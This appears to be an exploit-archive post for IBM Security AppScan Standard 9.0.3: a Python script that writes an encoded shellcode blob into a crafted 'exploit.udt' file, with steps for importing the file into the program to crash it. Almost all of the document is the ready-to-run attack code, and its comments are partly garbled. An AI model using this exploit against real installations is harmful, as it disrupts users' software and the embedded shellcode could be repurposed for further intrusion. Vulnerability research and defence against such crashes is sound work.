IBM Security AppScan Standard 9.0.3 .udt Denial Of Service Exploit

# Exploit Title: IBM Security AppScan Standard 9.0.3 .udt Denial Of Service
# Author: Kağan Çapar
# Software Link: http://www-01.ibm.com/support/docview.wss?uid=ibm10715965
# Vendor Homepage : https://www.ibm.com/security/application-security/appscan
# Tested Version: 9.0.3 Build : 13536
# Tested on OS: windows 10 x64 *TR
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.udt". Open AppScan.exe 
# Go to Tools > User Defined Tests > Import > Select "exploit.udt file" 
# Click "OK" after Click "OK" you will see a crash on software.
 
#!/usr/bin/python
#Payload size: 368 bytes
#Final size of python file: 1772 bytes
 
#Note : if you want to see overflow just only create mine!
#See will stack-overflow changing
 
shellcode =  ""
shellcode += "\xba\xed\xb1\x52\xbe\xdb\xc8\xd9\x74\x24\xf4\x5e\x31"
shellcode += "\xc9\xb1\x56\x83\xc6\x04\x31\x56\x0f\x03\x56\xe2\x53"
shellcode += "\xa7\x42\x14\x11\x48\xbb\xe4\x76\xc0\x5e\xd5\xb6\xb6"
shellcode += "\x2b\x45\x07\xbc\x7e\x69\xec\x90\x6a\xfa\x80\x3c\x9c"
shellcode += "\x4b\x2e\x1b\x93\x4c\x03\x5f\xb2\xce\x5e\x8c\x14\xef"
shellcode += "\x90\xc1\x55\x28\xcc\x28\x07\xe1\x9a\x9f\xb8\x86\xd7"
shellcode += "\x23\x32\xd4\xf6\x23\xa7\xac\xf9\x02\x76\xa7\xa3\x84"
shellcode += "\x78\x64\xd8\x8c\x62\x69\xe5\x47\x18\x59\x91\x59\xc8"
shellcode += "\x90\x5a\xf5\x35\x1d\xa9\x07\x71\x99\x52\x72\x8b\xda"
shellcode += "\xef\x85\x48\xa1\x2b\x03\x4b\x01\xbf\xb3\xb7\xb0\x6c"
shellcode += "\x25\x33\xbe\xd9\x21\x1b\xa2\xdc\xe6\x17\xde\x55\x09"
shellcode += "\xf8\x57\x2d\x2e\xdc\x3c\xf5\x4f\x45\x98\x58\x6f\x95"
shellcode += "\x43\x04\xd5\xdd\x69\x51\x64\xbc\xe5\x96\x45\x3f\xf5"
shellcode += "\xb0\xde\x4c\xc7\x1f\x75\xdb\x6b\xd7\x53\x1c\xfa\xff"
shellcode += "\x63\xf2\x44\x6f\x9a\xf3\xb4\xb9\x59\xa7\xe4\xd1\x48"
shellcode += "\xc8\x6f\x22\x74\x1d\x05\x28\xe2\x5e\x71\x2c\xe5\x36"
shellcode += "\x83\x2d\x0e\xb4\x0a\xcb\x40\x6a\x5c\x44\x21\xda\x1c"
shellcode += "\x34\xc9\x30\x93\x6b\xe9\x3a\x7e\x04\x80\xd4\xd6\x7c"
shellcode += "\x3d\x4c\x73\xf6\xdc\x91\xae\x72\xde\x1a\x5a\x82\x91"
shellcode += "\xea\x2f\x90\xc6\x8c\xcf\x68\x17\x39\xcf\x02\x13\xeb"
shellcode += "\x98\xba\x19\xca\xee\x64\xe1\x39\x6d\x62\x1d\xbc\x47"
shellcode += "\x18\x28\x2a\xe7\x76\x55\xba\xe7\x86\x03\xd0\xe7\xee"
shellcode += "\xf3\x80\xb4\x0b\xfc\x1c\xa9\x87\x69\x9f\x9b\x74\x39"
shellcode += "\xf7\x21\xa2\x0d\x58\xda\x81\x0d\x9f\x24\x57\x3a\x38"
shellcode += "\x4c\xa7\x7a\xb8\x8c\xcd\x7a\xe8\xe4\x1a\x54\x07\xc4"
shellcode += "\xe3\x7f\x40\x4c\x69\xee\x22\xed\x6e\x3b\xe2\xb3\x6f"
shellcode += "\xc8\x3f\x44\x15\xa1\xc0\xa5\xea\xab\xa4\xa6\xea\xd3"
shellcode += "\xda\x9b\x3c\xea\xa8\xda\xfc\x49\xa2\x69\xa0\xf8\x29"
shellcode += "\x91\xf6\xfb\x7b"
   
payload = shellcode
try:
    f=open("exploit.udt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
 
#  0day.today [2018-10-19]  #